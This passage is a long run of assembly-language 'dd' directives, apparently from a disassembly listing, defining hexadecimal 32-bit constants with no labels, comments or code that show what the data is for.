0B828D90Bh, 1D48071Fh, 3F78969h dd 0D74882FBh, 41EF0193h, 0B02E08EAh, 39132B52h, 0A63077FBh dd 6EFECE46h, 53802C1Dh, 7AE90D3Ch, 0C9A8D25Ah, 51C9CEA7h dd 247D6CD5h, 8BF6F88Dh, 6EB617DDh, 36A4E90Bh, 20AE9601h dd 40F8B57h, 29E8280Ah, 0E0C2DAh, 0AC6259B6h, 0D9F72843h dd 1F5F2AE4h, 0F17E2791h, 0DCC37368h, 7A606671h, 8925580Ch dd 0A7E9163Fh, 3DF2279h, 64E2E140h, 3A4EA62Ch, 1EB74984h dd 0C756B4FFh, 0E9C94106h, 0B738BDD7h, 486355D1h, 0D8AAB451h dd 0E11FB7C4h, 0C1CBF828h, 0DB165D42h, 0A33EC09Fh, 0CC1AB7F0h dd 0D556BDC2h, 0C069562Fh, 4A596851h, 2160F125h, 0FAF4E9D6h dd 8ED0D03Bh, 171CD3A8h, 6E92222Dh, 5C8B405h, 0D359070Eh dd 893E2DABh, 50DDE90Dh, 0CE0BB7ACh, 8AB14C74h, 78F8F4BDh dd 0A04EB219h, 30427F14h, 630C2B04h, 53048E3Fh, 2E68FB01h dd 4083B3AFh, 7C4FE90Fh, 1C2E8F14h, 83929031h, 0AA813CF1h dd 3738A82Dh, 10252210h, 0A84F3012h, 6AF35FEDh, 582F89CCh dd 7D30629Fh, 0BE95279h, 0DDF02F3Fh, 76A2B88h, 0E3808AB1h dd 0BBDCC0D9h, 0D1148FD3h, 81C2A6C1h, 1567ED3h, 34C9DA7Dh dd 880F53A1h, 50476428h, 5194B007h, 0C8A0DDB1h, 9DC73059h dd 75CE1760h, 8BD7FC0h, 0BC7C3E1Eh, 0E64905DBh, 6180FFC1h dd 35E9EE09h, 0CA2CB16Fh, 10B25B6Eh, 844D12D6h, 51EA71FCh dd 685600D1h, 933A12A3h, 4F342154h, 763BB77h, 306864DFh dd 0CA47EDB2h, 9E46063h, 808BBC9Bh, 9845D0F6h, 0F1608972h dd 4660EF12h, 52180179h, 0E365E0BAh, 9FE62026h, 5C281512h dd 0E2B340EAh, 1C6030Dh, 47FC1EC1h, 73A2552h, 91B850E0h dd 2F8BDA53h, 61C616F0h, 0D52176B6h, 20D5215Ah, 0E438ED4Eh dd 320251Dh, 5A306155h, 68586F2h, 451ECEA0h, 290B970Dh dd 50F8A4F3h, 53350257h, 37DE685Dh, 0D42FDEA5h, 729EAE51h dd 0F25EB4Bh, 50FECAFEh, 63408A23h, 60B3EC58h, 61EE492Fh dd 0CB010224h, 5B08D605h, 1530566Ch, 6EBA803Ah, 70CF1212h dd 0ED0CD0FCh, 89808F30h, 4F10712h, 82C50FEh, 2155A24h dd 4B5539FEh, 10B80BE1h, 4D1E44CFh, 0EB0E5A0Ah, 7DAB0D13h dd 0E5E6A557h, 192405A1h, 0A544609Ah, 0A94AF3EAh, 77C140FFh dd 0F0E174Fh, 21049935h, 0F347E954h, 7FF62D81h, 2A394263h dd 21D04F4Bh, 36F68FFh, 0F510BF66h, 135F3B75h, 39AA532Eh dd 0CE72F99Ah, 250FC755h, 0A73954D6h, 0D7EF62F1h, 0E067E3C8h dd 89310AC9h, 65E880BCh, 2508DC76h, 0A5E4FB89h, 1AEDBF07h dd 0F977FA7Eh, 0CDD431C5h, 3087EFC4h, 0E22D070Eh, 4A8CCF6Fh dd 68E142C6h, 777827BEh, 874019DAh, 375CE161h, 3E551082h dd 600CB84Bh, 5B624FB8h, 0D3681461h, 14847844h, 0BA5800D7h dd 5F155654h, 0C038C555h, 7970FA18h, 22663841h, 5B04E94Ch dd 0C24D8255h, 560B2DD3h, 0CE8539F9h, 0C5315C08h, 0B69700B3h dd 0C51BE92Dh, 42465E95h, 4104DFCAh, 81C0E4EAh, 7E05D8C1h dd 0EA47603Bh, 41B5D86h, 486F74CAh, 14508740h, 8F82BA02h dd 0B89EED6h, 17E952CEh, 5A5BF922h, 0E9F0A561h, 519749Bh dd 3715280Bh, 0FE0B580Bh, 5820976Ch, 7A051FEAh, 7D1D6E5Ah dd 4F826885h, 5E891ACDh, 2E684321h, 0D8B7472Dh, 0FB5A4AFAh dd 977E3229h, 2268408Ch, 0F84BE939h, 0C48044C1h, 41DE0070h dd 0D0F12B8Dh, 5756CACAh, 7538647Ah, 58294F51h, 382DF641h dd 0E3905207h, 0E480EB77h, 4324B5FCh, 1B091A30h, 1717D184h dd 4B1680A9h, 0E77FB455h, 5C1356B6h, 9BAD2E75h, 21706D12h dd 0D390A2h, 0B23BEA80h, 8B71F4Fh, 0E09C92E2h, 0D3628760h dd 7ED1CF81h, 0B2BA864h, 0D953D005h, 892536D8h, 0C9809B19h dd 85419D61h, 6800D68Eh, 0E7C41429h, 33B80855h, 106350D8h dd 0BB0C4DE2h, 3CB839A5h, 3DA59402h, 1638F75Fh, 63208CCBh dd 4F3DF0B0h, 9B64B54h, 4382770h, 2CD01DF9h, 975A660Eh dd 87E8FF0Ah, 4080E90Bh, 1649B8D6h, 0AB391924h, 6B90101h dd 94846867h, 84A79E6Dh, 1B8C283h, 0F0D1A8F7h, 755D8132h dd 97A486C5h, 0D413B826h, 4B4A1EC1h, 30E95F70h, 0E62318BFh dd 0EF26454Eh, 3B1D8367h, 0F85A8FC9h, 0C16D4A13h, 0C9CA88D8h dd 6E8E21D4h, 0DD58ABCBh, 53B4BD7Ch, 0D1A62ABBh, 0A27C942Dh dd 0E8E54AB4h, 82DC7A1Eh, 15ED8640h, 1191A17h, 8BCAA8A1h dd 0DE260408h, 488345BDh, 0E8F26069h, 0E9A08D93h, 8CA4FDB8h dd 413C8609h, 0B44EA00Fh, 0B850C563h, 43750F16h, 8EC37658h dd 33507E4Bh, 8C3B4A6Ah, 2BC90321h, 96075869h, 48FC094Ch dd 0B295263h, 9A816F7h, 160D7CA6h, 0F820BF58h, 0BB530361h dd 18FE39FBh, 6B460BD9h, 4978CDE2h, 5D0B7EEBh, 337FF989h dd 0CE6F967h, 0F1D810E9h, 2B1713BAh, 0A7660077h, 0E97E4549h dd 67901F30h, 2E80D0B7h, 9D20EF7h, 6BCE0131h, 2F3EC070h dd 0E1E2DA07h, 0B28F35C0h, 239073F7h, 5260DB0Ch, 13D1FA61h dd 0F12AD240h, 88DFA0Eh, 0C514041Ch, 32DBBF80h, 0FB5FFB16h dd 4F0B5063h, 8AC20252h, 9082656Ah, 9E7F5466h, 59D99755h dd 0BECFE985h, 40F36D98h, 7F00B845h, 0D52FF1Eh, 9D7902h dd 2795051Ch, 92E94FF6h, 68144B9Ah, 0D4E060AAh, 2E720560h dd 948D5EB2h, 13F18360h, 631AB0Bh, 0B7342B4Dh, 1FD4E63Bh dd 8D05202Fh, 8C94CD6Eh, 5A8EDCEEh, 41A5E927h, 296E5623h dd 6857E8A2h, 1D3E5809h, 2465E50h, 39434EF8h, 30BCD05Fh dd 0E78F9E53h, 92DE7D5Dh, 549250CBh, 56219226h, 581ED8Fh dd 36775A5h, 238EF412h, 2E1E417Ah, 0F65F69D1h, 325ED06Eh dd 6BB9014Dh, 0EB83103Fh, 3840AE4Eh, 0C94550C3h, 3B0CC411h dd 0FD7D8473h, 5108401Fh, 1B207EB0h, 0E26AFFABh, 425D7BCEh dd 1BC4A02h, 18DBDC10h, 64D0D721h, 0F1F3C052h, 11BCCD48h dd 82CBD5B0h, 8A8ECCEEh, 0E78180E0h, 0BAE54CE9h, 0C4AFB7B0h dd 0A5A0444Ah, 89420F54h, 0C286DCD1h, 7C0B43E7h, 8EB0329h dd 0FDE2094Ah, 8B0FBEC8h, 67B5ACE3h, 2365F303h, 32E5B02Ch dd 12C22749h, 86BC07F6h, 22061D26h, 2604712Ah, 270798Ch dd 1046C984h, 7DBC42DFh dd 4A804068h, 0B56B4526h, 7A8CD925h, 4484D15Dh, 0A61BA802h dd 7AF20B60h, 66040FADh, 3A0D0367h, 251FD036h, 527380h dd 49C42D19h, 0C729C9B4h, 0DC8B585Fh, 487EE944h, 1C9A7716h dd 68474877h, 9A6B4A70h, 0CCFD5E67h, 0F4A2E8A4h, 0C64047E3h dd 14DBBF0Dh, 0FF1FC30Bh, 0DDD98F10h, 3FF88AAh, 0ED2DFE49h dd 0E49544EBh, 0F0648450h, 1106961Bh, 0DD296136h, 0D0ED5FE4h dd 0E9D5012Dh, 7782C65Dh, 0F392DD67h, 0E03D9002h, 8B330209h dd 67FB1BE0h, 0C78474Ch, 0CEEC77DBh, 523F0CE7h, 30C1959h dd 7475171Fh, 6E50CF02h, 0F66626Ch, 9B4E81CDh, 0A03E31E5h dd 0E70CF539h, 9268E87Fh, 742018DDh, 503D186Ah, 89FE752Fh dd 9BB076D0h, 9610F346h, 5C1629B9h, 3FCBBE57h, 0C913A34Ah dd 0AEC0FF68h, 0CE5ED6E9h, 80A139EDh, 0FF722BDEh, 0F274E3C1h dd 2753DCE2h, 1424B15Fh, 0AD9EA11h, 2148295Bh, 0C2077B06h dd 0E375DAF6h, 28360FA1h, 8918246Fh, 3F1E7AE6h, 6CCA1A40h dd 2114FE2h, 0FFED800Eh, 0FE3AE561h, 0B17ECDh, 0F1107F68h dd 52530941h, 0F219055Bh, 0B4EF6DF4h, 0EAD10F79h, 811BEC9Ch dd 0BE880F45h, 572624Dh, 3F373278h, 0BA5085AFh, 6F027C3h dd 73810FB2h, 0EE970CDAh, 3398208Dh, 20CF8B25h, 8002B1DCh dd 24F772E9h, 5280F6A9h, 0D1C1E0DDh, 55FAB588h, 5352B912h dd 0DA1F4CE8h, 0BAD7565Bh, 0B252A960h, 0B7E92E4Dh, 0EEC18734h dd 76FB8206h, 960E8DEh, 0D2670A32h, 0C6610120h, 3A98F5CEh dd 0F6850D2Dh, 818C72B3h, 682BD9h, 52581BBh, 0F7435E06h dd 8216FFDBh, 26FF4290h, 0F63576E0h, 0E3B9133Dh, 277AF873h dd 87FA475Fh, 33E1F766h, 0AFF4B468h, 0BFC31ADCh, 16D70D42h dd 0E9A3910Fh, 0BB0883D3h, 5A5F09FFh, 3034BEFFh, 0C217A972h dd 83284EFEh, 4558AA3Ch, 87F78119h, 50F0FF2Bh, 10D801B8h dd 0A0E90A8Fh, 34257A43h, 7968C590h, 61371562h, 0BB80F05Fh dd 59201FCDh, 0E9DF310Eh, 7501C9AAh, 0D1918EC5h, 0F885E90Ch dd 0FE4113A7h, 0F0CC9ECh, 51D0F633h, 18697486h, 1D95B90Fh dd 3B80B752h, 0C0FBD88Eh, 348FE9D9h, 86F839A2h, 0E321AD26h dd 0EE4A8990h, 0CE9B130h, 950BC4AEh, 9973A49Dh, 71C16101h dd 3FE1CB81h, 32121E9h, 0FF10A06Ah, 4DFCEE5Fh, 0DA91BAD2h dd 0EB37A49Bh, 9B7B310h, 0C534D568h, 0AF592F65h, 719E1F0Bh dd 0C0D4929Dh, 30B7B22Fh, 0C0586796h, 0E70258E4h, 3F7E5D10h dd 1895B480h, 0CFEEC1AFh, 0F41997E7h, 0C8F0105h, 9C3631EBh dd 82FF25C9h, 0D5792CF6h, 0C0986339h, 1845F92Bh, 453B03E9h dd 283AB1EDh, 0CEC5BAD5h, 0AB977FB9h, 916C5A7Dh, 923AE75Eh dd 0EF15D5FEh, 41FE7065h, 0F78011E9h, 304730EFh, 21820B55h dd 79820156h, 6C911736h, 0B1EF4053h, 0ED3597FEh, 75EEB07Eh dd 0E4C89C54h, 0C8D0D1Eh, 0BD6FABBAh, 7EB8FB17h, 44F9CB4Fh dd 23D0EA9Ch, 0E02E3C08h, 0F08E767h, 8EF53384h, 0A013EF13h dd 20B8128Ah, 0B4424C87h, 699AEFDh, 2568F0CCh, 0C69827EBh dd 80174925h, 0F4703144h, 7407E9C1h, 9A971381h, 0C88B0F12h dd 4420D845h, 80772967h, 5CC26830h, 3A25FEACh, 0F500801Fh dd 1FDBED8Dh, 4CEE2968h, 0B22AF418h, 0CA80F207h, 0BB3AFEEFh dd 3DFC8D08h, 445DC29Eh, 90084183h, 0D0F7F5EDh, 3B0919BCh dd 62E45E33h, 3CD97E93h, 0EA6CD749h, 0C309734Fh, 0A5BB7BACh dd 5F431AFDh, 0CFDA8EE0h, 5EEB1A8h, 30E15348h, 0E4C6D314h dd 1EC45A66h, 8EE1492h, 0EF1BA45Dh, 6DB16D2Ah, 96057232h dd 0ABD034FAh, 0F29742F3h, 9EE5D2A7h, 27D1A840h, 5C64768Eh dd 77176B59h, 19C4E70Dh, 0A6FFA27Ch, 22211FAFh, 2B6ADB68h dd 56643E31h, 0F1405A02h, 0EC5C8007h, 3E8519A2h, 0E2DB41CCh dd 68FF98B0h, 8C284BA6h, 0EDC278CBh, 53BCBE9h, 0AE838053h dd 6051F407h, 0BE5424DEh, 589E30DFh, 49BFA893h, 0A74AC240h dd 1AB82A82h, 0A08B36F1h, 0D7147FF3h, 167C7732h, 20A8D25Eh dd 31987A7Dh, 7F4CA601h, 4225400Ah, 902FEFC4h, 7ED820A1h dd 63780504h, 40EEF24Ah, 11E2EB07h, 294B7DAEh, 80257E1h dd 0B2CEF75Ah, 883C659Dh, 50ACD50Bh, 25D93E08h, 30EEA560h dd 0EAD16395h, 76C9A971h, 488BCFD4h, 0FEFEA3C2h, 0B4E92E56h dd 0E734AEA2h, 0DA8CE208h, 0F68F4E57h, 11B254Bh, 0ED038A64h dd 385A5D91h, 0FF0E054Dh, 0E8454062h, 9004F5Dh, 71847D98h dd 21FD28BDh, 0C0314B83h, 5E6EF574h, 2937D609h, 0E5684EAh dd 287E21BAh, 274C70C3h, 0B92C447Eh, 0F34724E2h, 3287FCE4h dd 12AEA25Fh, 6ACEF501h, 0A273E788h, 32527582h, 0CED45A20h dd 497EDE5Ah, 522102EDh, 2E678F0Fh, 99E6D7C4h, 4356E10h dd 345E6851h, 4F32EBA9h, 0F340DD5Fh, 54813717h, 0BA64E320h dd 67A50408h, 0BB29814Ch, 31364890h, 41A7AFEh, 0CE2E61C9h dd 0C4F0EF72h, 0DAF31F55h, 6EA8B2Ch, 25A71408h, 820EF7Eh dd 5FF8594Bh, 0E9C71673h, 0BA828087h, 0F52D6C34h, 81027C3Bh dd 7A2423C3h, 1A403D44h, 602C156Dh, 82E8259Fh, 53A48B77h dd 0E0D301E2h, 6D68EBE9h, 3DB9003Bh, 0CE81649Dh, 8A751D0Dh dd 99F68079h, 0E97A9039h, 8CF2962Ah, 0DFD3A825h, 0D7E26D20h dd 1F5EB03Bh, 77DADD1Ah, 0CA00C0FAh, 1EB5467Ch, 9491E955h dd 253B26C9h, 0EFE8BDD3h, 5F4C4225h, 0DE95E434h, 716850C4h dd 0B820725Fh, 5BE9F0B0h, 121A13A9h, 9ACAFA66h, 4F095805h dd 0A598BB1Ch, 0F63845D4h, 0B9609051h, 4E85656Eh, 1BFF806h dd 6CCD6791h, 127BCEE9h, 5DD9AEB4h, 37E97D89h, 0D2D20F0h dd 73077DBEh, 6B11CBD8h, 5EC92F58h, 37301A01h, 0FE925D6Eh dd 0D1F792h, 4A396A64h, 68164169h, 0F1CC0B09h, 9B6712C9h dd 8AC70114h, 3E3EC064h, 2CFC68D0h, 6207EB6h, 684DC1E5h dd 0C5001D3Fh, 0BD28D79Ch, 5A5DE931h, 0F4068729h, 5B70AF14h dd 270CB82Dh, 89F71E36h, 4AA2C444h, 0F415E05Bh, 98F8FB5Eh dd 19F3D3B7h, 0E7D70987h, 0DCE90593h, 0B97F4EFh, 0FCB3104Ah dd 0E442F98Bh, 898C775h, 8309D24Fh, 2F35CEAh, 65B9A54h dd 0E1818D76h, 31943CF3h, 1487E120h, 0AF68A90Ah, 7473CA05h dd 1F87BB98h, 846FD6A3h, 50A3A7BFh, 281988B4h, 7725B58h dd 0D1D157E6h, 9AFA5693h, 29EB4A9Ch, 13AB3C0Ch, 0F3682286h dd 66DD1D30h, 61E8125Bh, 2860E95Eh, 0D3E24E4Bh, 87F41292h dd 0FBFC64DCh, 0E648E861h, 1D820F00h, 0EF791363h, 2D34C9E3h dd 5435BD70h, 0B654CEA4h, 0CA890ECAh, 4D955EE4h, 5316BE8h dd 851D26A4h, 0C579D505h, 2F90F1F7h, 522D3303h, 0D8468B27h dd 0C0493985h, 0B6F58A16h, 0E91A5E7Ah, 44419889h, 1372B02Ch dd 5FF16C2h, 0D485F1CCh, 4B9ABA4Fh, 899E8924h, 2BD2EE88h dd 1BA0620h, 0A7B151ACh, 0CC12C180h, 0FE24F7F1h, 850B65C9h dd 12349B47h, 0E35F6F6Eh, 0A4029257h, 0C28E675Ah, 28B0D4A9h dd 0B779A6Ch, 4170E919h, 0C1802912h, 158D0DA5h, 5DAF214Eh dd 33C54527h, 345E813Fh, 0C6CD80F4h, 72B431F6h, 5D8D2C0Fh dd 0FDE98773h, 0A3FC092Eh, 0EA09755Ah, 277C3A80h, 0FCA24F51h dd 6DBFD0F8h, 82E9842Dh, 2CCDF4F1h, 5EAE3617h, 0CA0183CDh dd 6F2DCB1Ah, 47E987Ch, 23D3AEBEh, 6EE5FB29h, 6E8118BDh dd 90E9502Dh, 0FDF950EAh, 0E078689h, 463FBA52h, 0D00938D0h dd 0A4B74EE9h, 7978EAF9h, 67808E4Eh, 0F63DB551h, 20CC7BF5h dd 68270C62h, 8B0DB10h dd 311212ACh, 0B3CCFBF1h, 61773F35h, 6D2E182Dh, 0EA3E08C1h dd 0E38F2146h, 0BC081395h, 0E956A09Eh, 60BCBA74h, 6858305Eh dd 0F99D7C31h, 39E94281h, 0DCBC6E50h, 431F84CFh, 0F4AD37BCh dd 90B57415h, 96A9372Dh, 5EF049F0h, 0A84CCA0Bh, 378C0069h dd 189ECEB3h, 43451568h, 778240C3h, 53094F59h, 0FC5B9A4Fh dd 27EB09F8h, 51CF345Dh, 0AA795E9h, 0B5B2045Dh, 6882ACEDh dd 219E2259h, 17486817h, 57B024F8h, 0E14FB2E9h, 680A7BE2h dd 0B2264AC1h, 6EF15CFAh, 0E47668C2h, 0E5B620D2h, 9F114C9Dh dd 3B4E01D2h, 1EAFB384h, 478ACB57h, 0A761E242h, 40E32DB5h dd 499543DDh, 9D78C226h, 23D752E1h, 713178FDh, 3E3431Ah dd 68050682h, 6491110Ah, 5800FBA6h, 584BEE80h, 3FC0DEF6h dd 0AE2507E6h, 8E058540h, 6C3D6B7Dh, 241B985Ah, 0B876B616h dd 9AF14F9Ah, 0C4464028h, 73011627h, 29B4A05Eh, 0B48DF81h dd 77C89B44h, 14B1295h, 0C664A321h, 46C9DF07h, 68174DCEh dd 7F601F90h, 481348A8h, 135A94Fh, 0EE7E8227h, 1C6F4657h dd 4F7F48C9h, 0A3EBFE29h, 552DC8DCh, 0E849D9BCh, 0D65A2700h dd 68F16C16h, 665B2A25h, 962495Dh, 0BD4A8B3Ah, 0BDE9F074h dd 0BC3E9174h, 224DEB12h, 78C103B3h, 0FEE2D7A4h, 0F74D625Fh dd 74EEEE11h, 0F87729ECh, 0FB752F27h, 4D26E7h, 765D5816h dd 5B02D831h, 54E29B05h, 4A237014h, 0BF5EF053h, 0C6A520B5h dd 0B8A206A8h, 0B2F34F97h, 0A7058006h, 9776669h, 9621252Dh dd 0CAD81007h, 20A42407h, 0BD8BB512h, 2A573A11h, 0BC4AD1B7h dd 43291A99h, 0BA6EF70Fh, 5C773A20h, 4812B954h, 0F2114C06h dd 505A5E55h, 2D3560EEh, 0ED344D51h, 7129976h, 0FFA4ABACh dd 41AA5BD8h, 2E8831EBh, 0A1B49DECh, 0D0BD0168h, 0E08E3B92h dd 765F5D7Eh, 0A3C0522Dh, 6764C50Fh, 68026A18h, 0E65D18AAh dd 0BFEBE6ACh, 57C1D413h, 0DA957ED0h, 0F0126532h, 0BC584EF1h dd 2D005875h, 0C5F8A73Dh, 4E451A61h, 0B23A84ECh, 8AF23C5Ch dd 6566AD17h, 0E34E80D4h, 281D7AD3h, 42CC0F38h, 5AE49D1Ch dd 7ABC3301h, 316654C0h, 49BBD34Bh, 8BDDEDB8h, 650E59FBh dd 2E5BE149h, 86E467BCh, 2741BAF8h, 4914DC2Fh, 438BB562h dd 821F5920h, 668E53C3h, 9240CA56h, 3965765Ah, 0AD4E60E9h dd 6855C59Fh, 26A0A4BAh, 0FE60EAAAh, 5BD68292h, 0AD6925AEh dd 65A88482h, 149B43FBh, 0F1A86450h, 6D986932h, 0F5E0EB0h dd 1537DB85h, 86AC5AA7h, 0DA01125Fh, 0D0C88C50h, 8897C90h dd 0E931E8C1h, 7C8C6C2Dh, 0A05DD201h, 4482B806h, 313E90F0h dd 907B2663h, 0E428111Eh, 40B05203h, 0D6B70111h, 1CC640CDh dd 804F47B7h, 0E93ED4F2h, 0E166A7AFh, 124D8CC8h, 34C0AE5Fh dd 0BC012EBBh, 88F6730h, 4D8C246Fh, 862BCDA1h, 0B62D249Fh dd 526292Bh, 5FB45EF2h, 0EC73145Ah, 6F09DF61h, 0D8819E66h dd 0E03E3DEDh, 50B509DBh, 0C56974ACh, 0A36439E5h, 1EDB18AEh dd 1E9F2D92h, 933CA10Eh, 5A1FF070h, 0B4CC14BFh, 3B448801h dd 27157C69h, 71EBB37Ch, 0FA519324h, 0AC2A2539h, 0CB6C126Dh dd 0ECDED9AAh, 8FAE5019h, 12FC211h, 4607684h, 68D4D6E9h dd 8150F587h, 28544BCFh, 5095192h, 0FB134EFh, 0DC03FA9Ah dd 279B7EE9h, 0A4DF55A1h, 41EE5E66h, 3F76F42Dh, 716146Eh dd 95834AFh, 665F0ACAh, 337E37C8h, 3D4FE249h, 166EDFAAh dd 6BD3BB0Dh, 7472FA9Ah, 0F328002Bh, 0B968505Ah, 4AD17453h dd 0E2C0E2FCh, 0C12C5B58h, 0C0C3E917h, 0BC1F36E4h, 5A3E607Dh dd 31064719h, 9A7FE9FAh, 4565BF1Eh, 60B16804h, 0C89A968Dh dd 0EB828FB8h, 0F006861h, 9AAB9288h, 0E8F2058Ch, 126F662h dd 5A248488h, 0D5F860E7h, 4B3163BFh, 471D1F9Ch, 0F303E2C1h dd 65F36852h, 83837BE7h, 51033C06h, 0BFF2E2C2h, 582BDA08h dd 9FF49508h, 267603EBh, 0D0150288h, 0EB045A66h, 0A8094DE1h dd 0A0B3F34h, 847E734Ch, 0D9BA13CCh, 0C0F66CB5h, 0A4625B2Dh dd 0DC58BD57h, 0A0665325h, 6A0A0C8Ah, 6E9A9036h, 18C51775h dd 1329BD41h, 0E96072D3h, 507F1299h, 9F38E71h, 316F2F1Bh dd 0C686A81h, 1F500101h, 0A5C8B211h, 0F0BFE13Fh, 6E8DDEBh dd 981BE16h, 24D66243h, 49A1E600h, 130F695Eh, 0B44D1386h dd 0E04BCB9h, 0F5316445h, 6C9F1CBCh, 4308067Ch, 0E20B0C42h dd 0D618FE5Bh, 0D1560C02h, 0EF09E341h, 84106C2Bh, 53A8A600h dd 12C9A8C4h, 84BD87AAh, 13B3A219h, 0BB41D7E9h, 5C39F080h dd 0B593996h, 303042C3h, 1C3E1741h, 22B965Ah, 0BB0031A3h dd 10944A66h, 6305A7BFh, 0DF31582Fh, 92F29CBh, 0C1C342F6h dd 40BAF5EDh, 0BC563108h, 3C9229E5h, 660C1A29h, 0F326270Dh dd 9BFAC940h, 0BF8BB75Eh, 2E5B2289h, 0B82AFD00h, 0D4DBF723h dd 0A9041904h, 82348754h, 0AD52288Dh, 24030120h, 0E5FCDF68h dd 0C19F4509h, 819709E1h, 6FFF7C62h, 0E412CEEh, 0FA1C79EEh dd 0E98CC6BAh, 0E73BBA32h, 6B8CA9DEh, 0E2B5782Bh, 8085A1C0h dd 0ECC05FCDh, 70C1EC59h, 90E17B69h, 5340965Fh, 0C881A3C3h dd 951D2F53h, 55E188C9h, 3BEA8EB1h, 0E425009h, 728CE122h dd 7E965F0Dh, 4BD9DE1Eh, 0F992D45Dh, 466E49FBh, 51683B60h dd 5624064Bh, 569CEB53h, 0E9510D55h, 3F2BA8CDh, 94C12500h dd 0FC37DB49h, 0EA4C526Fh, 0F73E7C05h, 0C1C0E051h, 0FB25C778h dd 27F22Dh, 621B0F1h, 3B6D683Ah, 7B08C697h, 277F326Eh dd 23568AA2h, 34817772h, 603F10DEh, 0BE41298Ch, 0A1D48701h dd 978F893Fh, 4CAC6FF4h, 48AAA3D2h, 5FA01221h, 7305CA90h dd 2982000Bh, 9D685653h, 74580440h, 0D0D21717h, 0F29209B3h dd 24B89234h, 8BC047E2h, 18979563h, 0AA1C8515h, 6B6240ABh dd 0F2B98012h, 640E4705h, 54C9D1F7h, 4AAB83Ah, 15EA4D38h dd 0E658580h, 453A2EF2h, 0F5490230h, 0BD49F3B8h, 0D8A37E5Ah dd 847F9F58h, 0BAB18E26h, 31627787h, 85895739h, 532F7E5Bh dd 0FD5997CFh, 4BAE4C14h, 0D9F664C1h, 79604BCh, 0C2DA56C9h dd 102C700h, 3A4CF7FEh, 0CE628C94h, 71AAF659h, 5141802Fh dd 0C923AAB9h, 8778D41Dh, 1359110h, 0F022F381h, 0B12AB369h dd 0DA6928D5h, 0F3F3776Ch, 0D8914F03h, 0F9C5B0CCh, 182B6E62h dd 20676DC7h, 0CED9E968h, 3EA64991h, 440FF602h, 8FE18101h dd 7D8186BCh, 0B402BAC7h, 3C81707Ch, 842E3D5Ch, 40D80795h dd 0B289431h, 6477EE87h, 9E51A0C1h, 6F5D818Eh, 1C208F8Eh dd 0EDB3E913h, 0C10BC6E9h, 6D0005EAh, 338E1CA5h, 0E92E5CB0h dd 7127B5C8h, 0DCC48EE1h, 5E112FFEh, 0D2A23BC7h, 97F1E9C3h dd 0E4EBD92Fh, 0F95220D9h, 2DB1664Ch, 778E8B17h, 0E9271D36h dd 5700628Ch, 1612CB6Fh, 0E50414Bh, 5FCC3C3Dh, 25CA7E52h dd 0A8FED867h, 0C0645401h, 39F40F51h, 0FC58D604h, 0C1C7978Fh dd 0F68627FBh, 0BD28D4DBh, 0D71B1097h, 3382C612h, 12DD883Fh dd 0D6901378h, 48965C7Dh, 0B000A02Bh, 68163C3Ah, 0A3B40239h dd 0A2B7A067h, 5044D569h, 0AC0AE83Fh, 601C21Bh, 3B86F905h dd 5D2CE9FCh, 8B41B527h, 0BC05E40Dh, 183ECBAEh, 0BB0A6EA2h dd 3A7D021Eh, 7E3C139h, 0FC2F8781h, 0C2AD60C5h, 5C435401h dd 0FB9AE935h, 6C25AA66h, 89666241h, 0F858D334h, 9AF89F63h dd 956C3722h, 1029189h, 9477995Bh, 0FBF39033h, 0EB379204h dd 3DA4CCDEh, 3D8C92Dh, 5E4CDFC6h, 289A48B0h, 381C132Eh dd 4FB85060h, 23F2C26h dd 0B4B309DCh, 0E1B0D482h, 0DF68100h, 703B2D88h, 0C827F8FEh dd 9F8F8A69h, 25FE246h, 46CFE020h, 0BA7B5CD2h, 0A13E1E01h dd 2EE1E969h, 0CDFAA513h, 3682F3A0h, 0E5AFF7CDh, 645C166Dh dd 0AB81BFCFh, 475767B2h, 0D10B3482h, 786580CBh, 4C01397Eh dd 59281095h, 0E3969350h, 0AB1363E2h, 8EE45BDDh, 0B917C7F2h dd 77AF81F0h, 0E9FEC41h, 97AC1C9Fh, 68851BF1h, 4E521693h dd 988D5CEBh, 0A2BA167Dh, 114C7972h, 5D2CC023h, 0A1421ED1h dd 0B73A04E5h, 28680AC4h, 0FC0C71Bh, 39592A4Fh, 0D8B8EB9h dd 21553150h, 0F2B7E974h, 5D97882Bh, 2D72CFB5h, 0C0A69AC5h dd 66726309h, 22AF0FA1h, 0FE021054h, 0C1AF44E9h, 0C2463B80h dd 0CF04815Fh, 644936AFh, 8ACA90BFh, 544BF235h, 406D28F0h dd 0C57A80C7h, 765AABF0h, 9229F0F4h, 0E155E9A0h, 5AE5A014h dd 0C631E505h, 6435C9DCh, 0AFE39F68h, 0E5913AE2h, 17CA7310h dd 30E8D6F7h, 0D56B00D3h, 413AEF0Eh, 789D6CB0h, 47ED0FF7h dd 77093903h, 0F94E6241h, 4E9928F3h, 5C89ADE7h, 153660F5h dd 96E9263Bh, 13D44255h, 0C7299182h, 7E709FC1h, 0CACCD823h dd 29B6CA1Eh, 0DCEFFDD8h, 65BB1416h, 0DF82BEEBh, 123564Dh dd 50685D54h, 0ABE37E06h, 0E71FF085h, 0CD891473h, 6C3D18B7h dd 0C7C33027h, 6D68AD90h, 74F56029h, 368BE09Ch, 3F56E72Dh dd 0BC493A34h, 22F738F3h, 28AD20D0h, 91890F0Ch, 5EDA31EFh dd 0C394F9FFh, 0F143C4B5h, 27961927h, 0EA6C13A7h, 0B7DC09D8h dd 0BD8D60Bh, 53F39538h, 95344A12h, 0A43AC4C9h, 0C24ABC1Dh dd 530C65FAh, 0B533E8D9h, 20F1CCEAh, 0ADE107BFh, 2F89C963h dd 29C4E829h, 74B4BA4Fh, 5AEE26C3h, 0FF29134Eh, 13082210h dd 55F1E3E9h, 0C9E4F6FEh, 1D202458h, 5CC29709h, 5C32B976h dd 5FA7C1Ah, 443AC168h, 721F490h, 32BC315Fh, 0EE29A61h dd 50C78853h, 0C30CF86Ch, 5B62DEF0h, 0D10EAF24h, 2F952664h dd 507149DEh, 0D729804Ch, 8151F960h, 0EA7C51BBh, 1CB0430h dd 2E806E9Ah, 34A28D0Fh, 0D307F79Ch, 4F9DBE56h, 58517490h dd 0E6144E8Bh, 0DCEA9673h, 0C14BE439h, 82A52CB8h, 0F0D90261h dd 0BECA9A8Ah, 305DE181h, 5EC0BA5h, 82799DE0h, 0BD73488h dd 7780DBF7h, 360C487Dh, 8EA755A0h, 319B4701h, 252FE9F3h dd 518548h, 0D11D016Ch, 2DD0F7E0h, 0A7548300h, 3CD2355Dh dd 137148FAh, 0CADA6916h, 0FB304F1Ah, 0C1B679E9h, 0F3814B16h dd 13FDFCD0h, 0D64E7890h, 0C2FEAE49h, 0EDF4A1h, 0B8457705h dd 11032D2Bh, 29242764h, 704E5F0h, 